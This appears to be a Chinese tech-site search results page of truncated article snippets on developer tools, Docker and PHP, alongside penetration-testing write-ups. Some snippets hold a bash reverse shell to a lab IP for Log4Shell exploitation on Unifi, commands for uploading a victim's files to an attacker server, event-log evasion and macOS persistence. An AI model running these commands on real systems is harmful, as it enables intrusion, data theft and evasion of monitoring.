首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

WPF版【路遥工具箱】免费开源啦!解决开发痛点,让你事半功倍!

RGB颜色转换:RGB颜色值转换为十六进制或CSS颜色名称。 JSONC#实体类:根据JSON数据生成C#实体类。 JSONCSV:JSON数据转换为CSV格式。...Postman数据转换:Postman导出的数据转换为其他格式。 YamlJson:Yaml格式的数据转换为Json格式。 文字工具 谷歌翻译:使用谷歌翻译API进行文本翻译。...多行拼接:多行文本拼接为单行文本。 日志查看器:查看和分析日志文件。 全角半角转换:全角字符转换为半角字符,或反之。 CSV查看器:查看和编辑CSV文件。...文件处理 编码识别:自动识别文件的编码格式。 文件校验:校验文件的完整性和一致性。 图片处理 图片图标:图片转换为ICO图标。 Gif分割:GIF动画分割为多个静态图片。...图片Base64图片转换为Base64编码。 Base64图片:Base64编码转换为图片。

39830

Unifi Log4jshell漏洞利用

echo 'bash -c bash -i >&/dev/tcp/192.168.11.50/4444 0>&1' | base64 使用 Base64 输出,在 rogue-jndi 中构建您的命令...,-d}|{bash,-i}" --hostname "192.168.11.50" 将上面命令中“echo”之后的 Base64 编码字符串替换为您生成的字符串。...主机名变量替换为您将运行命令的主机的公共或本地 IP。然后启动您的 rogue-jndi LDAP 服务器。...后利用 - 破解哈希 首先,让我们从本地数据库储密码哈希。使用反向 shell 执行以下命令以储用户的 JSON 数组、他们的权限以及最重要的密码哈希。...上面详述的添加管理用户的过程可以使用像 Go 这样的编译语言轻松自动化。攻击者需要创建一个二进制文件来存储所有需要的依赖项,这些依赖项可以放到磁盘上执行。

2.4K10
您找到你想要的搜索结果了吗?
是的
没有找到

如何使用EvtMute对Windows事件日志进行筛选过滤

写在前面的话 在这篇文章中,我们告诉大家如何使用EvtMute来对Windows事件日志进行筛选过滤。...EvtMute这款工具允许我们使用YARA来进行攻击性操作,对已经报告给Windows事件日志的事件进行过滤和筛选。...工具下载 广大研究人员可以使用下列命令将该项目克隆至本地: git clone https://github.com/bats3c/EvtMute 或者,大家也可以直接点击底部【阅读原文】访问该项目的Releases...这个规则可以使用Linux命令行终端轻松转换为Base64编码规则: base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin) 接下来,可以使用...因此,我建议大家手动EvtMuteHook.dll注入到事件日志服务之中。 它的进程PID可以通过运行下列命令来查看,你还可以通过C2框架来钩子手动注入至shellcode中。

85010

针对黑客的Windows文件传输总结

使用curl.exe文件下载到受害者,请使用以下命令: curl.exe 172.16.1.30/wget.exe -o C:\temp\wget.exe 我特意下载了wget.exe来表示可以…...借助 cURL,我们可以使用以下命令文件传到 Python HTTP 服务器: curl.exe -F 'file=@C:\\temp\\supersecret.txt' http://172.16.1.30...上传文件到攻击者的FTP服务器 当我们启动 FTP 服务器时,我们使用-w标志,它为任何登录用户提供写入权限。这允许我们使用PUT文件传到 FTP 服务器。...https://github.com/fortra/impacket 从要传输到受害者的工具/文件所在的目录中,使用以下命令将该目录转换为共享: impacket-smbserver hax $(pwd...现在,我们可以在Invoke-Rubeus函数加载到当前会话中时执行该函数,使用该脚本,而无需将其下载到受害者

45111

在线Base64文件文件Base64工具

本文将为您介绍一款强大的在线Base64文件文件Base64工具,详细说明其功能和使用方法。...二、主要功能文件Base64:用户只需上传本地文件,工具即可自动将其内容进行Base64编码,生成可以直接复制粘贴的Base64字符串。...Base64文件:对于已有的Base64字符串,用户可将其复制粘贴至指定区域,工具会快速解码生成对应的文件,支持多种常见文件类型,如.jpg、.png、.pdf、.docx等。...三、使用教程文件Base64:• 进入在线工具页面,找到“选择文件”按钮,点击后从本地选取需要转换的文件。...• 确认文件上传成功后,工具将自动进行Base64编码,并在界面显示转换后的字符串,您可以直接复制使用Base64文件:• 在相应的输入框内,粘贴准备好的Base64编码字符串。

2.4K10

如何在Ubuntu 16.04使用Docker Swarm安装和保护OpenFaaS

您将使用git来克隆OpenFaaS存储库,curl来测试API以及jq原始JSON响应从API转换为人类可读的JSON。...在第7步中,您将使用它来创建Python函数并将其部署在OpenFaaS。 在本教程中,您将部署OpenFaaS v 0.8.9。...要将Traefik与OpenFaaS一起使用,您需要修改OpenFaaS部署清单以包含Traefik告诉OpenFaaS使用Traefik而不是直接将其服务暴露给互联网。...接下来,让我们指示Docker使用该command指令运行Traefik 。这将运行Traefik,将其配置为与Docker Swarm一起使用使用Let的加密提供SSL。...在OpenFaaS存储库中,您可以找到Swagger API规范,该规范可与Swagger编辑器一起使用规范转换为人类可读的形式。

3.1K86

HTB: Hackback

经过测试后发现登录 hackthebox后会出现一个新的日志,其中sessionid就是我的内网地址 日志名设置为该seesionid同时修改action为show后可以获取日志内容 curl -b...虽然无法知道知道它的真实路径,但是可以php代码写入日志文件后查看。...使用 BurpSuite 抓取 admin.hackthebox.htb 的登录数据包修改用户名为php代码,将其作为代码执行点 查询日志记录 curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7...首先将tunnel.aspx转换为base64编码 cat tunnel.aspx | base64 -w0 上传该base64编码通过base64_decode()解码 <?...exp源地址:https://github.com/decoder-it/diaghub_exploit 开始制作恶意 dll 文件,在此需要使用到 Visual Stdio,将上述文件夹打开生成,选择

1.2K10

Python之Base64加解密

urlsafe_b64encode,urlsafe_b64decode 一组,这个就是用来专门对url进行Base64编解码的,实际也是调用的前一组函数。...3 base64换过程 如下图所示: Python标准库中提供了base64模块,用来进行转换,因使用到以下二组方法,故做如下说明: base64.b64encode()bytes类型数据进行base64...编码,返回编码后的bytes类型 base64.b64deocde()base64编码的bytes类型进行解码,返回解码后的bytes类型 decode的作用是将其他编码的字符串转换成unicode编码...encode的作用是unicode编码转换成其他编码的字符串 4 工作中遇到的问题 ---- 使用curl 命令可以正常的返回,如下: tony@l-l-server1.beta.op.tx1 ~...bytes.decode方法token bytes类型转换为str.

1.5K30

【HTB靶场系列】靶机Carrier的渗透测试

Check用base64换下 ? 很明显这个quagga就是上面输出信息的一部分,查找相关资料,发现这是一款路由器软件 ?...我们需要在靶机上进行扫描,当然你可以用msf添加路由的方式扫描,这里我用另一个种方法把nmap的二进制静态执行文件传到靶机进行扫描 Github:https://github.com/andrew-d...我们需要通过劫持BGP欺骗AS200数据传输给我们的靶机,然后开启假的FTP服务,之前的信息有显示到有人会定期访问这个FTP,这样我们就可以窃取到凭证 ? ?...我们在自己的kali编辑下内容在里面加一条10.120.15.0/25 ?...然后用python的SimpleHTTPServer服务上传到靶机里面去跟nmap一样 把之前的文件重命名,然后把我们的文件下载下来 1. curl http://10.10.13.133:8000/bgpd.conf

2.1K20

【HTB系列】靶机Frolic的渗透测试详解

出现乱七八糟的东西,因为是别的文件数据,我们导出到一个文件检查类型 1. base64 -d frolic.bas64 > frolic 2. file frolic ?...我们用zip2john把这个压缩文件换为密码HASH,然后用john去破解下 1. zip2john frolic.zip > frolic.zip.hash ?...把这些内容输出到一个文件内并用base64码下,注意这里的输出到文件带有换行需要去除文件里面的换行 1. cat index.php | xxd -r -p > index.php.b64 ?...使用python的SimpleHTTPServer的模块把LineEnum上传到靶机执行 然后在shell中执行 1. curl http://10.10.15.36:8000/LinEnum.sh |...()的地址 这里我需要在靶机上运行gdb查看,但是靶机没有gdb,我们需要从github然后下载传到靶机上,靶机可以用wget命令进行下载,然后给gdb 加执行权限,最后对rop进行调试 Github

1.9K10

具有EC2自动训练的无服务器TensorFlow工作流程

因为s3proxy将使用路径参数来定义所请求key的文件,并将其作为S3存储桶中的文件夹。 对于该train功能,将使用DynamoDB流触发器,该触发器包含在资源部分中。...ECR —允许提取Docker映像(仅EC2会使用,而不是Lambda函数使用)。 IAM —获取,创建角色并将其添加到实例配置文件。...模型完成后,将使用tfjs模块中的转换器将其直接保存为TensorFlow.js可以导入的形式。然后这些文件传到S3并以当前纪元为键将其传到文件夹中。...成功后,创建启用警报,当CPU降至某个阈值以下时,该警报将自动终止实例,将其用作完成训练的代理。...可以在GitHub查看所有代码: https://github.com/mikepm35/LambdaAutoTraining

12.5K10

PHP base64 编码转化图片并进行指定路径的保存和上传处理

获取的 base64 编码传到后台,如果后台顺利处理完毕,会返回它的存储路径,然后我进行了多图片存储路径在页面上(隐藏域)的拼接,方面后面提交后的数据库数据存储 2....核心函数 base64_image_content 该函数,我所参考的来源为 PHPBase64图片转换为本地图片保存,在此我根据自己的业务进行了相关处理 /** * [Base64...图片转换为本地图片保存] * @param $base64_image_content [要保存的Base64] * @param $path [要保存的路径] * @return...file_exists($basePutUrl)){ //检查是否有该文件夹,如果没有就创建,给予最高权限 mkdir($basePutUrl...推荐文章: PHP base64换成图片 ③.

2.1K10

安全研究 | 利用macOS Dock实现代码的持久化执行

在检查plist文件中的值时,我就想判断是否可以通过修改这些值来合法程序替换成我们的恶意程序,执行恶意代码。...环境配置 这种持久化方法需要将恶意程序上传到目标设备中,不过我们有很多种方法绕过Gatekeeper保护机制,实现恶意程序的上传: 压缩应用程序Bundle,在Mythic代理中使用上传命令,然后解压至目标路径...; 压缩应用程序Bundle,使用curl命令在目标设备中拉取程序,然后解压至目标路径; 压缩应用程序Bundle,进行base64编码,然后在目标设备中解码,解压至目标路径; 在这里,首先使用Automator...首先,plutil可以Dock plist转换为XML,XML格式可以轻松修改: 除此之外,temp9876文件的创建也会被记录到日志中。...DockPersist.js会在/private/tmp/目录下创建一个随机名称的文件,该脚本修改plist文件的XML版本,并将其存储至这个随机文件名中。

66340

Saferwall:下一代开源恶意软件分析平台

下面给出的是文件扫描期间发生的基本工作流: 前端通过restapi与后端通信。 后端样本上传到对象存储。 后端消息推入扫描队列。 用户获取文件将其复制到nfs共享,避免在每个容器提取样本。...工具构建及部署 首先,使用下列命令将该项目的源码克隆至本地: git clone https://github.com/saferwall/saferwall 使用一个Debian Linux系统,建议...确保已正确安装了build-essential: sudo apt-get install build-essential curl example.env改为.env,这个文件存储项目的配置信息...构建AV镜像 编辑.env文件根据AV产品填写敏感凭据。 Eset:许可证拷贝到....gRPC守护进程来监听扫描任务: make multiav-build-go 日志记录可以在Elasticsearch看到: 项目地址 Saferwall:【https://github.com/saferwall

1.2K20

PHP如何图片文件传到另外一台服务器

php //3、cURL 是一个非常强大的开源库,支持很多协议,包括HTTP、FTP、TELNET等,我们使用它来发送HTTP请求。...但是还是通过远程工具(向日葵),代码拉下来了。想这个图片上传到底怎么弄了,之前也看过,关于通过ftp的方式上传图片,但是后来查看了相关文章需要在php.ini中开启,所以也作罢。.../** * base64字符串转换成图片保存在本地 * @param Request $request * @return void */ public function baseImg...图片转换为本地图片保存] * @param [Base64] $base64_image_content [要保存的Base64] * @param [目录] $path [要保存的路径] */...}else{ return false; } }else{ return false; } }   5、最后返回上传好的图片路径 :结束 总结 以上所述是小编给大家介绍的PHP如何图片文件传到另外一台服务器

6.3K30
领券